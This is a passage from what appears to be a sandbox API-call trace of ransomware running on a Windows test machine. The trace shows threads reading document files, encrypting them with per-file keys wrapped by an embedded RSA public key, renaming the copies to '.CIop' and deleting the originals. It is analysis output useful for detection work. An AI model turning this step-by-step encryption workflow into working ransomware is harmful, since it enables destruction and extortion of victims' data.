pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.697] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.697] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d910) returned 1 [0092.697] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d910, dwCertEncodingType=0x1, pInfo=0x682930, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3850) returned 1 [0092.697] CryptEncrypt (in: hKey=0x5c3850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.697] CryptEncrypt (in: hKey=0x5c3850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62da20*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62da20*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.698] WriteFile (in: hFile=0x470, lpBuffer=0x62da20*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62da20*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.698] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.698] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.698] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.698] CloseHandle (hObject=0x470) returned 1 [0092.699] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\fsxQuEAvOd0El-v.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\fsxqueavod0el-v.pps")) returned 0 Thread: id = 85 os_tid = 0xb80 [0092.705] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.705] lstrcpyW (in: lpString1=0x306f368, lpString2="h8IhXzO4v.csv" | out: lpString1="h8IhXzO4v.csv") returned="h8IhXzO4v.csv" [0092.705] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.705] SetErrorMode (uMode=0x1) returned 0x1 [0092.705] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv") returned 88 [0092.705] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv", dwFileAttributes=0x20) returned 1 [0092.705] StrStrW (lpFirst="h8IhXzO4v.csv", lpSrch=".CIop") returned 0x0 [0092.705] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv.CIop") returned 93 [0092.705] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\h8ihxzo4v.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464 [0092.706] ReadFile (in: hFile=0x464, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x535a, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x306e5e8*=0x535a, lpOverlapped=0x0) returned 1 [0092.706] CloseHandle (hObject=0x464) returned 1 [0092.706] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\h8ihxzo4v.csv")) returned 1 [0092.759] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0092.759] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0092.759] SetErrorMode (uMode=0x1) returned 0x1 [0092.759] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x62dd50) returned 1 [0092.762] CryptGenKey (in: hProv=0x62dd50, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c3290) returned 1 [0092.813] CryptExportKey (in: hKey=0x5c3290, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.813] CryptExportKey (in: hKey=0x5c3290, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.813] CryptDestroyKey (hKey=0x5c3290) returned 1 [0092.813] CryptReleaseContext (hProv=0x62dd50, dwFlags=0x0) returned 1 [0092.814] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\h8ihxzo4v.csv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x464 [0092.814] WriteFile (in: hFile=0x464, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x535a, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x306e5d8*=0x535a, lpOverlapped=0x0) returned 1 [0092.815] SetFilePointer (in: hFile=0x464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x535a [0092.815] WriteFile (in: hFile=0x464, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.815] SetFilePointer (in: hFile=0x464, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5361 [0092.815] SetErrorMode (uMode=0x1) returned 0x1 [0092.815] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.815] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.815] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0092.815] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x62dd50) returned 1 [0092.816] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62dd50, dwCertEncodingType=0x1, pInfo=0x682a00, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c3290) returned 1 [0092.816] CryptEncrypt (in: hKey=0x5c3290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0092.816] CryptEncrypt (in: hKey=0x5c3290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62ddd8*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62ddd8*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0092.816] WriteFile (in: hFile=0x464, lpBuffer=0x62ddd8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62ddd8*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.816] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.816] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.816] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.817] CloseHandle (hObject=0x464) returned 1 [0092.818] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\h8ihxzo4v.csv")) returned 0 Thread: id = 86 os_tid = 0x648 [0092.707] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.707] lstrcpyW (in: lpString1=0x31af368, lpString2="h8IhXzO4v.csv" | out: lpString1="h8IhXzO4v.csv") returned="h8IhXzO4v.csv" [0092.707] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.707] SetErrorMode (uMode=0x1) returned 0x1 [0092.708] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv") returned 88 [0092.708] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv", dwFileAttributes=0x20) returned 0 [0092.758] StrStrW (lpFirst="h8IhXzO4v.csv", lpSrch=".CIop") returned 0x0 [0092.758] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv.CIop") returned 93 [0092.758] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\h8IhXzO4v.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\h8ihxzo4v.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 87 os_tid = 0xae4 [0092.820] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.820] lstrcpyW (in: lpString1=0x2f0f368, lpString2="HpvWb5EHtTvn89.pps" | out: lpString1="HpvWb5EHtTvn89.pps") returned="HpvWb5EHtTvn89.pps" [0092.820] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0092.820] SetErrorMode (uMode=0x1) returned 0x1 [0092.820] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps") returned 93 [0092.820] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps", dwFileAttributes=0x20) returned 1 [0092.820] StrStrW (lpFirst="HpvWb5EHtTvn89.pps", lpSrch=".CIop") returned 0x0 [0092.820] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps.CIop") returned 98 [0092.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\hpvwb5ehttvn89.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0092.821] ReadFile (in: hFile=0x474, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x1282a, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x1282a, lpOverlapped=0x0) returned 1 [0092.822] CloseHandle (hObject=0x474) returned 1 [0092.822] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\hpvwb5ehttvn89.pps")) returned 1 [0092.823] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0092.823] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0092.824] SetErrorMode (uMode=0x1) returned 0x1 [0092.824] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d008) returned 1 [0092.826] CryptGenKey (in: hProv=0x62d008, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3310) returned 1 [0092.865] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.865] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0092.865] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.865] CryptReleaseContext (hProv=0x62d008, dwFlags=0x0) returned 1 [0092.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\hpvwb5ehttvn89.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0092.866] WriteFile (in: hFile=0x474, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x1282a, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x1282a, lpOverlapped=0x0) returned 1 [0092.867] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1282a [0092.867] WriteFile (in: hFile=0x474, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.868] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12831 [0092.868] SetErrorMode (uMode=0x1) returned 0x1 [0092.868] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.868] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.868] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.868] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d008) returned 1 [0092.868] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d008, dwCertEncodingType=0x1, pInfo=0x6818f0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3650) returned 1 [0092.868] CryptEncrypt (in: hKey=0x5c3650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.868] CryptEncrypt (in: hKey=0x5c3650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62ce70*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62ce70*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.868] WriteFile (in: hFile=0x474, lpBuffer=0x62ce70*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62ce70*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.868] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.869] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.870] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.870] CloseHandle (hObject=0x474) returned 1 [0092.871] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\HpvWb5EHtTvn89.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\hpvwb5ehttvn89.pps")) returned 0 Thread: id = 88 os_tid = 0x51c [0092.889] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- 